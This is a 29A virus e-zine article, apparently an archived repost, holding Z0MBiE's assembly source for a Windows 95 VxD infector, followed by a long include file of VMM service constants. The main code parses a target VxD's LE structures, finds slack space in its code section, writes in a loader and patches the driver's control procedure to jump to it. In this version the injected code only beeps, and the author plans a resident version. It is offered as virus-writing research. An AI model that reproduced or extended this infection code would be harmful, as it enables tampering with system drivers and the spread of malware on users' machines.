Copy Link
Add to Bookmark
Report

29A Issue 03 04 14

eZine's profile picture
Published in 
29A
 · 4 years ago

  

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
;
; VxD-infection
;
; programmed in 1998 by Z0MBiE/29A
; all rights reserved
; *** NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A ***
;
; ABOUT THIS PROGRAM
; infected VxDs (file name given in command line) will beep
;
; program writes 'OK' if file infected
; program writes 'X' if cant disassemble instruction
; most of control_procs are written using control_dispatch macro, so
; disassembler must understand not more than 5-10 opcodes...
;
; INFECTION METHOD: (i think Navrhar-alike)
;
; 1. find DDEEntry
; 2. check its CODE section: it must be RESIDENT, CODE32, etc.
; 3. check enough free space in this CODE section
; 3. patch control_proc:
; control_proc_x: [some instructions-with-possible-fixups skipped]
; jmp virus
; virus: ; restore bytes, return control
;
; COMMENTS
; Also VxDs can be infected by adding virus section... but its not easy
; task, becose all data tables are "packed", i.e. not aligned, so no free
; space between these tables.
; But there always exist free space between last data table ("per-page
; checksum table") and first data page (as a rule LCOD, code section)
; So its really possible to add one more objectentry to objecttable
; But if this entry will be added we must add one or more entries to
; following page-map-table, which also has no free space.
; When its all will be done, we must _INSERT_ our code section between
; last data page and non-resident-names-table, which is last in the file.
; I will try to implement this method in next research, so results
; will appears in nearest future.
;
; TO INFECT VxDs-FILES USED:
; 1. sense what VxDs & Windows`95 will be forgotten -
; and these files will be not infected by me ;)
; 2. talks about Navrhar virus - my greetings to author!
; 3. best music in the world - Scorpions
; 4. some documentation - see directory DOC, its all i found
; also you can see winnt.h, but only header defined there
; 5. stuff from Reptile/29A - "how to compile VxD"
; 6. TASM, HIEW, IDA
;
; COMMENTS
; if you have something to say about VxD format/infection/...,
; or if you have VxD format description -
; mail me to z0mbie_29a@yahoo.com
;
; last updated at 9-08-98
;

include INCLUDE\HIEW_VMM.INC ; VxD services
include INCLUDE\VXD_CALL.INC ; VxDCall/VMMCall macros

include INCLUDE\VMM.INC ; some files from MASM
include INCLUDE\IFS.INC

model tiny
p386
locals __
jumps

;cgroup group code, ldr, vxd
cgroup group code, ldr

code segment word use16
assume cs:cgroup, ds:cgroup, es:cgroup, ss:cgroup

org 100h

start:
mov si, 0081h ; command line

__1: mov dx, si ; skip spaces
lodsb
cmp al, 13
jz __exit
cmp al, 32
je __1

__3: lodsb ; find #13
cmp al, 13
je __2
cmp al, 32
jne __3
__2: sub [si-1], al

mov ah, 60h ; convert/copy file name
mov si, dx
lea di, filename
int 21h

; lea si, filename ; store filename for
; lea di, ldr_vxd_name; VxD-loader
; mov cx, 128
; rep movsb

mov ax, 3d02h ; open target file
lea dx, filename
int 21h
jc __exit
mov handle, ax

lea dx, mz ; read MZ header
mov cx, mz_size
call readfile

xor edx, edx ; seek LE header
call seek_edx_mz

lea dx, le_header ; read LE header
mov cx, le_size
call readfile

cmp le_magic, 'EL' ; check for valid LE header
jne __close

; check for valid number of OBJECT ENTRIES
cmp le_object_table_entries, max_objs
ja __close

; check for valid number of PAGES
mov le_number_of_memory_pages, max_pages
ja __close

; seek OBJECT TABLE
mov edx, le_object_table_offset
call seek_edx_mz

lea dx, ot ; read OBJECT TABLE
mov cx, max_ot_size
call readfile

; seek PAGE MAP TABLE
mov edx, le_object_page_map_table_offset
call seek_edx_mz

lea dx, pmt ; read PAGE MAP TABLE
mov cx, max_pmt_size
call readfile

; seek ENTRY TABLE
mov edx, le_entry_table_offset
call seek_edx_mz

; read ENTRY TABLE
lea dx, et
mov cx, max_et_size
call readfile

; analyzing only 1st entry

; check entry type
cmp et.byte ptr 1, 11b ; valid/32bit
jnz __close

movzx edi, et.word ptr 2
; edi=section #, where DDBEntry info located

; si=section offset
lea esi, [edi-1]
imul esi, size oe_struc
add si, offset ot

; check section flags
mov eax, [si].oe_flags
and ax, 0010001101000101b ; 32-bit, resident,
cmp ax, 0010000001000101b ; normal, read, exec
jnz __close

; calculate free space in object section
mov ecx, [si].oe_page_map_entries
imul ecx, le_memory_page_size
sub ecx, [si].oe_virtual_segment_size

; check for enough free space
cmp ecx, ldr_size
jb __close

; calculate our PAGE #
mov eax, [si].oe_page_map_index
add eax, [si].oe_page_map_entries
dec eax

; eax = PAGE MAP TABLE entry
mov eax, pmt[eax*4-4]

test eax, 0FF000000h ; page type: normal
jnz __close

; calculate file offset
mov dx, ax ; dx = high page number
shr eax, 16 ; eax = low page number
xor ah, ah
add ax, dx
dec ax
imul eax, le_memory_page_size
add eax, le_data_pages_offset
; now EAX=offset of PAGE with our code

add eax, le_memory_page_size
sub eax, ecx
; now EAX=offset of OUR CODE in file

mov our_offs, eax

; increase section`s code size
add [si].oe_virtual_segment_size, ldr_size

; convert section # to file offset

mov edx, pmt[edi*4-4]
mov ax, dx
shr edx, 16
xor dh, dh
add dx, ax
dec dx
imul edx, le_memory_page_size
add edx, le_data_pages_offset
; now EDX=offset of our section
mov sect_offs, edx

add edx, et.dword ptr 5
; now EDX=offset of DDB Entry

; seek DDBEntry
call seek_edx

; read DDBEntry
lea dx, ddb
mov cx, max_ddb_size
call readfile

mov edx, ddb.dword ptr 18h ; control_proc_X
;; maybe its mistake
sub edx, [si].oe_relocation_base_address
;;
add edx, sect_offs
; now EDX=offset of control_proc_X in FILE
mov cp_offs, edx

; seek control_proc_X
call seek_edx

lea dx, cp ; read control_proc_X
mov cx, max_cp_size
call readfile

; analyze control_proc_x

lea si, cp

__restart: mov di, si ; pointer to byte to patch
xor bx, bx ; "free" space counter

__nextcmd: cmp si, offset cp + max_cp_size
jae __close

mov ax, [si]
call get_cmd_size
jc __close

add si, cx

or dx, dx
jnz __restart

add bx, cx
cmp bx, 5
jb __nextcmd

__patch: ; okey, space found - calculate some values
; to restore normal execution in VxD

mov eax, sect_offs
sub eax, our_offs
mov save_0, eax

mov al, [di]
mov save_2, al
mov eax, [di+1]
mov save_4, eax

sub di, offset cp
movzx edi, di

mov eax, edi
add eax, ddb.dword ptr 18h
mov save_1, eax
inc eax
mov save_3, eax

mov eax, our_offs
add eax, save_5-ldr_start+4
sub eax, edi
sub eax, cp_offs
neg eax
mov save_5, eax

mov eax, our_offs
add eax, ldr_entry - ldr_start
sub eax, edi
sub eax, cp_offs
sub eax, 5

; jmp to our code
mov cp[edi].byte ptr 0, 0E9h
mov cp[edi].dword ptr 1, eax

; well, thats all - control_x_patches,
; "save_x"-values calculated

; mov ax, 4202h ; seek end-of-file
; mov bx, handle
; xor cx, cx
; cwd
; int 21h
;
; ; store file position
; mov vxd_pos.word ptr 2, dx
; mov vxd_pos.word ptr 0, ax
;
; mov ah, 40h ; write main code
; lea dx, vxd_start
; mov cx, vxd_size
; int 21h

; seek file (free space in code section)
mov edx, our_offs
call seek_edx

; write our code
lea dx, ldr_start
mov cx, ldr_size
call writefile

; seek OBJECT TABLE
mov edx, le_object_table_offset
call seek_edx_mz

; write OBJECT TABLE
; - only one change made, physical section size
; increased by loader size
lea dx, ot
mov ecx, le_object_table_entries
imul ecx, size oe_struc
call writefile

; seek control_proc_X
mov edx, cp_offs
call seek_edx

lea dx, cp ; write control_proc_X
mov cx, max_cp_size
call writefile

mov al, 'O' ; success
int 29h
mov al, 'K'
int 29h

__close: mov ah, 3eh ; close file
mov bx, handle
int 21h

__exit: mov ax, 4c00h ; exit to DOS
int 21h


; this is small disassembler
;
; input:
; al=opcode (byte ptr 0)
; ah=opcode (byte ptr 1)
;
; output:
; CF=0: success
; cx = command size
; dx:
; 0 normal command
; 1 command may contain fixups
; CF=1: error
; cx/dx modified
;

get_cmd_size: xor dx, dx

mov cx, 2

push ax ; jcc xx
and al, 0F0h
cmp al, 070h
pop ax
je __rt

mov cx, 3

cmp ax, 0E883h ; sub eax, xx
je __rt
cmp ax, 0F883h ; cmp eax, xx
je __rt

mov cx, 6

push ax
and ax, 0F0FFh
cmp ax, 0800Fh
pop ax
je __rt

mov cx, 7

inc dx
cmp ax, 005F6h ; test byte ptr [yyyyyyyy], xx
je __rt
dec dx

mov al, 'X' ; unknown command
int 29h

stc
ret

__rt: clc
ret

readfile: pusha ; readfile
mov ah, 3fh
mov bx, handle
int 21h
popa
ret

writefile: pusha ; writefile
mov ah, 40h
mov bx, handle
int 21h
popa
ret

seek_edx_mz: add edx, mz_neptr ; seek(edx). newexe-based

seek_edx: pusha ; seek(edx)
push edx
pop dx
pop cx
mov ax, 4200h
mov bx, handle
int 21h
popa
ret


filename db 256 dup (?) ; file we`re infecting

handle dw ? ; current file handle

sect_offs dd ? ; offset of our section [ABSOLUTE]

; following 2 dwords
; are useful for STEALTH technology

cp_offs dd ? ; offset of control_proc_x [ABSOLUTE]
our_offs dd ? ; offset of our code [ABSOLUTE]

mz:
mz_mz dw ?
mz_last512 dw ?
mz_num512 dw ?
mz_relnum dw ?
mz_headersize dw ?
mz_minmem dw ?
mz_maxmem dw ?
mz_ss dw ?
mz_sp dw ?
mz_checksum dw ?
mz_ip dw ?
mz_cs dw ?
mz_relofs dw ?
mz_ovrnum dw ?
mz_reserved db 32 dup (?)
mz_neptr dd ?
mz_size equ $-mz

le_header:
le_magic dw ?
le_byte_order db ?
le_word_order db ?
le_exec_format_level dd ?
le_cpu_type dw ?
le_target_os dw ?
le_module_version dd ?
le_module_type_flags dd ?
le_number_of_memory_pages dd ?
le_initial_cs dd ?
le_initial_eip dd ?
le_initial_ss dd ?
le_initial_esp dd ?
le_memory_page_size dd ?
le_bytes_on_last_page dd ?
le_fixup_section_size dd ?
le_fixup_section_checksum dd ?
le_loader_section_size dd ?
le_loader_section_checksum dd ?
le_object_table_offset dd ?
le_object_table_entries dd ?
le_object_page_map_table_offset dd ?
le_object_iterate_data_map_offset dd ?
le_resource_table_offset dd ?
le_resource_table_entries dd ?
le_resident_names_table_offset dd ?
le_entry_table_offset dd ?
le_module_directives_table_offset dd ?
le_module_directives_table_entries dd ?
le_fixup_page_table_offset dd ?
le_fixup_record_table_offset dd ?
le_imported_module_names_table_offset dd ?
le_imported_modules_count dd ?
le_imported_procedure_name_table_offset dd ?
le_per_page_checksum_table_offset dd ?
le_data_pages_offset dd ?
le_preload_page_count dd ?
le_nonresident_names_table_offset dd ?
le_nonresident_names_table_length dd ?
le_nonresident_names_table_checksum dd ?
le_automatic_data_object dd ?
le_debug_information_offset dd ?
le_debug_information_length dd ?
le_preload_instance_pages_number dd ?
le_demand_instance_pages_number dd ?
le_extra_heap_allocation dd ?
le_unknown dd ?
le_size equ $-le_header

; vxd`s object table object entry structure

oe_struc struc
oe_virtual_segment_size dd ?
oe_relocation_base_address dd ?
oe_flags dd ?
oe_page_map_index dd ?
oe_page_map_entries dd ?
oe_reserved dd ?
ends

; vxd`s object table
max_objs equ 32
ot oe_struc max_objs dup (?)
max_ot_size equ $-ot

; page-map table
max_pages equ 64
pmt dd max_pages dup (?)
max_pmt_size equ $-pmt

; entry-table (really its not a table)
max_et_size equ 256
et db max_et_size dup (?)

; DDBEntry structure
max_ddb_size equ 64
ddb db max_ddb_size dup (?)

; control_proc_x we`re patching
max_cp_size equ 256
cp db max_cp_size dup (?)

align 16 ; important!
code ends

ldr segment word use32 ; 32-bit VxD-loader
assume cs:ldr, ds:ldr, es:ldr, ss:ldr

ldr_start: nop

ldr_entry: pushf ; <- important
pushad

call entry ; where am i?
entry: pop ebp
sub ebp, entry - ldr_start

lea eax, [ebp+12345678h] ; make EAX points to
save_0 equ dword ptr $-4 ; section beginning

; restore original bytes

; can anybody explain it?
; section attributes was exec+readonly, i.e.
; not writeable, but following patch works

mov byte ptr ds:[eax+12345678h], 12h
save_1 equ dword ptr $-5
save_2 equ byte ptr $-1

mov dword ptr ds:[eax+12345678h], 12345678h
save_3 equ dword ptr $-8
save_4 equ dword ptr $-4

call beep

; ; now control_proc_x restored, and we can
; ; go resident
;
; ; alloocate some memory
; push PAGEFIXED + PAGEZEROINIT ; flags
; push 0 ; PhysAddr @dword, unused
; push 0 ; maxPhys max page #, unused
; push 0 ; minPhys min page #, unused
; push 0Fh ; ALignMask 64k-aligned
; push 0 ; VM 0 if pType=PG_SYS
; push PG_SYS ; pType alloc in sys area
; push vxd_pages; nPages page count
; VMMcall PageAllocate
; add esp, 4*8
;
; mov ecx, eax
; or ecx, edx
; jz __error
;
; ; mov pagehandle[ebp], eax
; ; mov pageaddress[ebp], edx
;
; mov edi, edx ; edi = our address
;
; int 3
;
; lea edx, ldr_vxd_name[ebp]
; VMMcall OpenFile
; jc __error
; xchg ebx, eax

__error: popad
popf

db 0e9h
save_5 dd 12345678h

beep: in al, 0B6h
out 43h, al

mov ax, 123456h/3300 ; 3300 Hz
out 42h, al
mov al, ah
out 42h, al

in al, 61h
or al, 3
out 61h, al

mov ecx, 3000000
__1: nop
loop __1

in al, 61h
and al, not 3
out 61h, al

ret

;ldr_vxd_name db 128 dup ('?')

ldr_end:
ldr_size equ ldr_end - ldr_start

align 16 ; important!
ldr ends

;vxd segment word use32 ; 32-bit VxD-handler
; assume cs:vxd, ds:vxd, es:vxd, ss:vxd
;
;vxd_start:
;
; nop
; nop
; nop
;
;vxd_end:
;vxd_size equ vxd_end - vxd_start
;vxd_pages equ (vxd_size + 4095) / 4096
;vxd ends
;
end start



ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\hiew_vmm.inc]ÄÄ
; [HiewVMM 5.80]

; [0001.VMM]
VMM_Get_VMM_Version equ 000010000h
VMM_Get_Cur_VM_Handle equ 000010001h
VMM_Test_Cur_VM_Handle equ 000010002h
VMM_Get_Sys_VM_Handle equ 000010003h
VMM_Test_Sys_VM_Handle equ 000010004h
VMM_Validate_VM_Handle equ 000010005h
VMM_Get_VMM_Reenter_Count equ 000010006h
VMM_Begin_Reentrant_Execution equ 000010007h
VMM_End_Reentrant_Execution equ 000010008h
VMM_Install_V86_Break_Point equ 000010009h
VMM_Remove_V86_Break_Point equ 00001000Ah
VMM_Allocate_V86_Call_Back equ 00001000Bh
VMM_Allocate_PM_Call_Back equ 00001000Ch
VMM_Call_When_VM_Returns equ 00001000Dh
VMM_Schedule_Global_Event equ 00001000Eh
VMM_Schedule_VM_Event equ 00001000Fh
VMM_Call_Global_Event equ 000010010h
VMM_Call_VM_Event equ 000010011h
VMM_Cancel_Global_Event equ 000010012h
VMM_Cancel_VM_Event equ 000010013h
VMM_Call_Priority_VM_Event equ 000010014h
VMM_Cancel_Priority_VM_Event equ 000010015h
VMM_Get_NMI_Handler_Addr equ 000010016h
VMM_Set_NMI_Handler_Addr equ 000010017h
VMM_Hook_NMI_Event equ 000010018h
VMM_Call_When_VM_Ints_Enabled equ 000010019h
VMM_Enable_VM_Ints equ 00001001Ah
VMM_Disable_VM_Ints equ 00001001Bh
VMM_Map_Flat equ 00001001Ch
VMM_Map_Lin_To_VM_Addr equ 00001001Dh
VMM_Adjust_Exec_Priority equ 00001001Eh
VMM_Begin_Critical_Section equ 00001001Fh
VMM_End_Critical_Section equ 000010020h
VMM_End_Crit_And_Suspend equ 000010021h
VMM_Claim_Critical_Section equ 000010022h
VMM_Release_Critical_Section equ 000010023h
VMM_Call_When_Not_Critical equ 000010024h
VMM_Create_Semaphore equ 000010025h
VMM_Destroy_Semaphore equ 000010026h
VMM_Wait_Semaphore equ 000010027h
VMM_Signal_Semaphore equ 000010028h
VMM_Get_Crit_Section_Status equ 000010029h
VMM_Call_When_Task_Switched equ 00001002Ah
VMM_Suspend_VM equ 00001002Bh
VMM_Resume_VM equ 00001002Ch
VMM_No_Fail_Resume_VM equ 00001002Dh
VMM_Nuke_VM equ 00001002Eh
VMM_Crash_Cur_VM equ 00001002Fh
VMM_Get_Execution_Focus equ 000010030h
VMM_Set_Execution_Focus equ 000010031h
VMM_Get_Time_Slice_Priority equ 000010032h
VMM_Set_Time_Slice_Priority equ 000010033h
VMM_Get_Time_Slice_Granularity equ 000010034h
VMM_Set_Time_Slice_Granularity equ 000010035h
VMM_Get_Time_Slice_Info equ 000010036h
VMM_Adjust_Execution_Time equ 000010037h
VMM_Release_Time_Slice equ 000010038h
VMM_Wake_Up_VM equ 000010039h
VMM_Call_When_Idle equ 00001003Ah
VMM_Get_Next_VM_Handle equ 00001003Bh
VMM_Set_Global_Time_Out equ 00001003Ch
VMM_Set_VM_Time_Out equ 00001003Dh
VMM_Cancel_Time_Out equ 00001003Eh
VMM_Get_System_Time equ 00001003Fh
VMM_Get_VM_Exec_Time equ 000010040h
VMM_Hook_V86_Int_Chain equ 000010041h
VMM_Get_V86_Int_Vector equ 000010042h
VMM_Set_V86_Int_Vector equ 000010043h
VMM_Get_PM_Int_Vector equ 000010044h
VMM_Set_PM_Int_Vector equ 000010045h
VMM_Simulate_Int equ 000010046h
VMM_Simulate_Iret equ 000010047h
VMM_Simulate_Far_Call equ 000010048h
VMM_Simulate_Far_Jmp equ 000010049h
VMM_Simulate_Far_Ret equ 00001004Ah
VMM_Simulate_Far_Ret_N equ 00001004Bh
VMM_Build_Int_Stack_Frame equ 00001004Ch
VMM_Simulate_Push equ 00001004Dh
VMM_Simulate_Pop equ 00001004Eh
VMM_HeapAllocate equ 00001004Fh
VMM_HeapReAllocate equ 000010050h
VMM_HeapFree equ 000010051h
VMM_HeapGetSize equ 000010052h
VMM_PageAllocate equ 000010053h
VMM_PageReAllocate equ 000010054h
VMM_PageFree equ 000010055h
VMM_PageLock equ 000010056h
VMM_PageUnLock equ 000010057h
VMM_PageGetSizeAddr equ 000010058h
VMM_PageGetAllocInfo equ 000010059h
VMM_GetFreePageCount equ 00001005Ah
VMM_GetSysPageCount equ 00001005Bh
VMM_GetVMPgCount equ 00001005Ch
VMM_MapIntoV86 equ 00001005Dh
VMM_PhysIntoV86 equ 00001005Eh
VMM_TestGlobalV86Mem equ 00001005Fh
VMM_ModifyPageBits equ 000010060h
VMM_CopyPageTable equ 000010061h
VMM_LinMapIntoV86 equ 000010062h
VMM_LinPageLock equ 000010063h
VMM_LinPageUnLock equ 000010064h
VMM_SetResetV86Pageable equ 000010065h
VMM_GetV86PageableArray equ 000010066h
VMM_PageCheckLinRange equ 000010067h
VMM_PageOutDirtyPages equ 000010068h
VMM_PageDiscardPages equ 000010069h
VMM_GetNulPageHandle equ 00001006Ah
VMM_GetFirstV86Page equ 00001006Bh
VMM_MapPhysToLinear equ 00001006Ch
VMM_GetAppFlatDSAlias equ 00001006Dh
VMM_SelectorMapFlat equ 00001006Eh
VMM_GetDemandPageInfo equ 00001006Fh
VMM_GetSetPageOutCount equ 000010070h
VMM_Hook_V86_Page equ 000010071h
VMM_Assign_Device_V86_Pages equ 000010072h
VMM_DeAssign_Device_V86_Pages equ 000010073h
VMM_Get_Device_V86_Pages_Array equ 000010074h
VMM_MMGR_SetNULPageAddr equ 000010075h
VMM_Allocate_GDT_Selector equ 000010076h
VMM_Free_GDT_Selector equ 000010077h
VMM_Allocate_LDT_Selector equ 000010078h
VMM_Free_LDT_Selector equ 000010079h
VMM_BuildDescriptorDWORDs equ 00001007Ah
VMM_GetDescriptor equ 00001007Bh
VMM_SetDescriptor equ 00001007Ch
VMM_MMGR_Toggle_HMA equ 00001007Dh
VMM_Get_Fault_Hook_Addrs equ 00001007Eh
VMM_Hook_V86_Fault equ 00001007Fh
VMM_Hook_PM_Fault equ 000010080h
VMM_Hook_VMM_Fault equ 000010081h
VMM_Begin_Nest_V86_Exec equ 000010082h
VMM_Begin_Nest_Exec equ 000010083h
VMM_Exec_Int equ 000010084h
VMM_Resume_Exec equ 000010085h
VMM_End_Nest_Exec equ 000010086h
VMM_Allocate_PM_App_CB_Area equ 000010087h
VMM_Get_Cur_PM_App_CB equ 000010088h
VMM_Set_V86_Exec_Mode equ 000010089h
VMM_Set_PM_Exec_Mode equ 00001008Ah
VMM_Begin_Use_Locked_PM_Stack equ 00001008Bh
VMM_End_Use_Locked_PM_Stack equ 00001008Ch
VMM_Save_Client_State equ 00001008Dh
VMM_Restore_Client_State equ 00001008Eh
VMM_Exec_VxD_Int equ 00001008Fh
VMM_Hook_Device_Service equ 000010090h
VMM_Hook_Device_V86_API equ 000010091h
VMM_Hook_Device_PM_API equ 000010092h
VMM_System_Control equ 000010093h
VMM_Simulate_IO equ 000010094h
VMM_Install_Mult_IO_Handlers equ 000010095h
VMM_Install_IO_Handler equ 000010096h
VMM_Enable_Global_Trapping equ 000010097h
VMM_Enable_Local_Trapping equ 000010098h
VMM_Disable_Global_Trapping equ 000010099h
VMM_Disable_Local_Trapping equ 00001009Ah
VMM_List_Create equ 00001009Bh
VMM_List_Destroy equ 00001009Ch
VMM_List_Allocate equ 00001009Dh
VMM_List_Attach equ 00001009Eh
VMM_List_Attach_Tail equ 00001009Fh
VMM_List_Insert equ 0000100A0h
VMM_List_Remove equ 0000100A1h
VMM_List_Deallocate equ 0000100A2h
VMM_List_Get_First equ 0000100A3h
VMM_List_Get_Next equ 0000100A4h
VMM_List_Remove_First equ 0000100A5h
VMM_AddInstanceItem equ 0000100A6h
VMM_Allocate_Device_CB_Area equ 0000100A7h
VMM_Allocate_Global_V86_Data_Area equ 0000100A8h
VMM_Allocate_Temp_V86_Data_Area equ 0000100A9h
VMM_Free_Temp_V86_Data_Area equ 0000100AAh
VMM_Get_Profile_Decimal_Int equ 0000100ABh
VMM_Convert_Decimal_String equ 0000100ACh
VMM_Get_Profile_Fixed_Point equ 0000100ADh
VMM_Convert_Fixed_Point_String equ 0000100AEh
VMM_Get_Profile_Hex_Int equ 0000100AFh
VMM_Convert_Hex_String equ 0000100B0h
VMM_Get_Profile_Boolean equ 0000100B1h
VMM_Convert_Boolean_String equ 0000100B2h
VMM_Get_Profile_String equ 0000100B3h
VMM_Get_Next_Profile_String equ 0000100B4h
VMM_Get_Environment_String equ 0000100B5h
VMM_Get_Exec_Path equ 0000100B6h
VMM_Get_Config_Directory equ 0000100B7h
VMM_OpenFile equ 0000100B8h
VMM_Get_PSP_Segment equ 0000100B9h
VMM_GetDOSVectors equ 0000100BAh
VMM_Get_Machine_Info equ 0000100BBh
VMM_GetSet_HMA_Info equ 0000100BCh
VMM_Set_System_Exit_Code equ 0000100BDh
VMM_Fatal_Error_Handler equ 0000100BEh
VMM_Fatal_Memory_Error equ 0000100BFh
VMM_Update_System_Clock equ 0000100C0h
VMM_Test_Debug_Installed equ 0000100C1h
VMM_Out_Debug_String equ 0000100C2h
VMM_Out_Debug_Chr equ 0000100C3h
VMM_In_Debug_Chr equ 0000100C4h
VMM_Debug_Convert_Hex_Binary equ 0000100C5h
VMM_Debug_Convert_Hex_Decimal equ 0000100C6h
VMM_Debug_Test_Valid_Handle equ 0000100C7h
VMM_Validate_Client_Ptr equ 0000100C8h
VMM_Test_Reenter equ 0000100C9h
VMM_Queue_Debug_String equ 0000100CAh
VMM_Log_Proc_Call equ 0000100CBh
VMM_Debug_Test_Cur_VM equ 0000100CCh
VMM_Get_PM_Int_Type equ 0000100CDh
VMM_Set_PM_Int_Type equ 0000100CEh
VMM_Get_Last_Updated_System_Time equ 0000100CFh
VMM_Get_Last_Updated_VM_Exec_Time equ 0000100D0h
VMM_Test_DBCS_Lead_Byte equ 0000100D1h
VMM_AddFreePhysPage equ 0000100D2h
VMM_PageResetHandlePAddr equ 0000100D3h
VMM_SetLastV86Page equ 0000100D4h
VMM_GetLastV86Page equ 0000100D5h
VMM_MapFreePhysReg equ 0000100D6h
VMM_UnmapFreePhysReg equ 0000100D7h
VMM_XchgFreePhysReg equ 0000100D8h
VMM_SetFreePhysRegCalBk equ 0000100D9h
VMM_Get_Next_Arena equ 0000100DAh
VMM_Get_Name_Of_Ugly_TSR equ 0000100DBh
VMM_Get_Debug_Options equ 0000100DCh
VMM_Set_Physical_HMA_Alias equ 0000100DDh
VMM_GetGlblRng0V86IntBase equ 0000100DEh
VMM_Add_Global_V86_Data_Area equ 0000100DFh
VMM_GetSetDetailedVMError equ 0000100E0h
VMM_Is_Debug_Chr equ 0000100E1h
VMM_Clear_Mono_Screen equ 0000100E2h
VMM_Out_Mono_Chr equ 0000100E3h
VMM_Out_Mono_String equ 0000100E4h
VMM_Set_Mono_Cur_Pos equ 0000100E5h
VMM_Get_Mono_Cur_Pos equ 0000100E6h
VMM_Get_Mono_Chr equ 0000100E7h
VMM_Locate_Byte_In_ROM equ 0000100E8h
VMM_Hook_Invalid_Page_Fault equ 0000100E9h
VMM_Unhook_Invalid_Page_Fault equ 0000100EAh
VMM_Set_Delete_On_Exit_File equ 0000100EBh
VMM_Close_VM equ 0000100ECh
VMM_Enable_Touch_1st_Meg equ 0000100EDh
VMM_Disable_Touch_1st_Meg equ 0000100EEh
VMM_Install_Exception_Handler equ 0000100EFh
VMM_Remove_Exception_Handler equ 0000100F0h
VMM_Get_Crit_Status_No_Block equ 0000100F1h
VMM_GetLastUpdatedThreadExecTime equ 0000100F2h
VMM_Trace_Out_Service equ 0000100F3h
VMM_Debug_Out_Service equ 0000100F4h
VMM_Debug_Flags_Service equ 0000100F5h
VMM_VMMAddImportModuleName equ 0000100F6h
VMM_VMM_Add_DDB equ 0000100F7h
VMM_VMM_Remove_DDB equ 0000100F8h
VMM_Test_VM_Ints_Enabled equ 0000100F9h
VMM_BlockOnID equ 0000100FAh
VMM_Schedule_Thread_Event equ 0000100FBh
VMM_Cancel_Thread_Event equ 0000100FCh
VMM_Set_Thread_Time_Out equ 0000100FDh
VMM_Set_Async_Time_Out equ 0000100FEh
VMM_AllocateThreadDataSlot equ 0000100FFh
VMM_FreeThreadDataSlot equ 000010100h
VMM_CreateMutex equ 000010101h
VMM_DestroyMutex equ 000010102h
VMM_GetMutexOwner equ 000010103h
VMM_Call_When_Thread_Switched equ 000010104h
VMM_VMMCreateThread equ 000010105h
VMM_GetThreadExecTime equ 000010106h
VMM_VMMTerminateThread equ 000010107h
VMM_Get_Cur_Thread_Handle equ 000010108h
VMM_Test_Cur_Thread_Handle equ 000010109h
VMM_Get_Sys_Thread_Handle equ 00001010Ah
VMM_Test_Sys_Thread_Handle equ 00001010Bh
VMM_Validate_Thread_Handle equ 00001010Ch
VMM_Get_Initial_Thread_Handle equ 00001010Dh
VMM_Test_Initial_Thread_Handle equ 00001010Eh
VMM_Debug_Test_Valid_Thread_Handle equ 00001010Fh
VMM_Debug_Test_Cur_Thread equ 000010110h
VMM_VMM_GetSystemInitState equ 000010111h
VMM_Cancel_Call_When_Thread_Switched equ 000010112h
VMM_Get_Next_Thread_Handle equ 000010113h
VMM_Adjust_Thread_Exec_Priority equ 000010114h
VMM_Deallocate_Device_CB_Area equ 000010115h
VMM_Remove_IO_Handler equ 000010116h
VMM_Remove_Mult_IO_Handlers equ 000010117h
VMM_Unhook_V86_Int_Chain equ 000010118h
VMM_Unhook_V86_Fault equ 000010119h
VMM_Unhook_PM_Fault equ 00001011Ah
VMM_Unhook_VMM_Fault equ 00001011Bh
VMM_Unhook_Device_Service equ 00001011Ch
VMM_PageReserve equ 00001011Dh
VMM_PageCommit equ 00001011Eh
VMM_PageDecommit equ 00001011Fh
VMM_PagerRegister equ 000010120h
VMM_PagerQuery equ 000010121h
VMM_PagerDeregister equ 000010122h
VMM_ContextCreate equ 000010123h
VMM_ContextDestroy equ 000010124h
VMM_PageAttach equ 000010125h
VMM_PageFlush equ 000010126h
VMM_SignalID equ 000010127h
VMM_PageCommitPhys equ 000010128h
VMM_Register_Win32_Services equ 000010129h
VMM_Cancel_Call_When_Not_Critical equ 00001012Ah
VMM_Cancel_Call_When_Idle equ 00001012Bh
VMM_Cancel_Call_When_Task_Switched equ 00001012Ch
VMM_Debug_Printf_Service equ 00001012Dh
VMM_EnterMutex equ 00001012Eh
VMM_LeaveMutex equ 00001012Fh
VMM_Simulate_VM_IO equ 000010130h
VMM_Signal_Semaphore_No_Switch equ 000010131h
VMM_ContextSwitch equ 000010132h
VMM_PageModifyPermissions equ 000010133h
VMM_PageQuery equ 000010134h
VMM_EnterMustComplete equ 000010135h
VMM_LeaveMustComplete equ 000010136h
VMM_ResumeExecMustComplete equ 000010137h
VMM_GetThreadTerminationStatus equ 000010138h
VMM_GetInstanceInfo equ 000010139h
VMM_ExecIntMustComplete equ 00001013Ah
VMM_ExecVxDIntMustComplete equ 00001013Bh
VMM_Begin_V86_Serialization equ 00001013Ch
VMM_Unhook_V86_Page equ 00001013Dh
VMM_VMM_GetVxDLocationList equ 00001013Eh
VMM_VMM_GetDDBList equ 00001013Fh
VMM_Unhook_NMI_Event equ 000010140h
VMM_Get_Instanced_V86_Int_Vector equ 000010141h
VMM_Get_Set_Real_DOS_PSP equ 000010142h
VMM_Call_Priority_Thread_Event equ 000010143h
VMM_Get_System_Time_Address equ 000010144h
VMM_Get_Crit_Status_Thread equ 000010145h
VMM_Get_DDB equ 000010146h
VMM_Directed_Sys_Control equ 000010147h
VMM_RegOpenKey equ 000010148h
VMM_RegCloseKey equ 000010149h
VMM_RegCreateKey equ 00001014Ah
VMM_RegDeleteKey equ 00001014Bh
VMM_RegEnumKey equ 00001014Ch
VMM_RegQueryValue equ 00001014Dh
VMM_RegSetValue equ 00001014Eh
VMM_RegDeleteValue equ 00001014Fh
VMM_RegEnumValue equ 000010150h
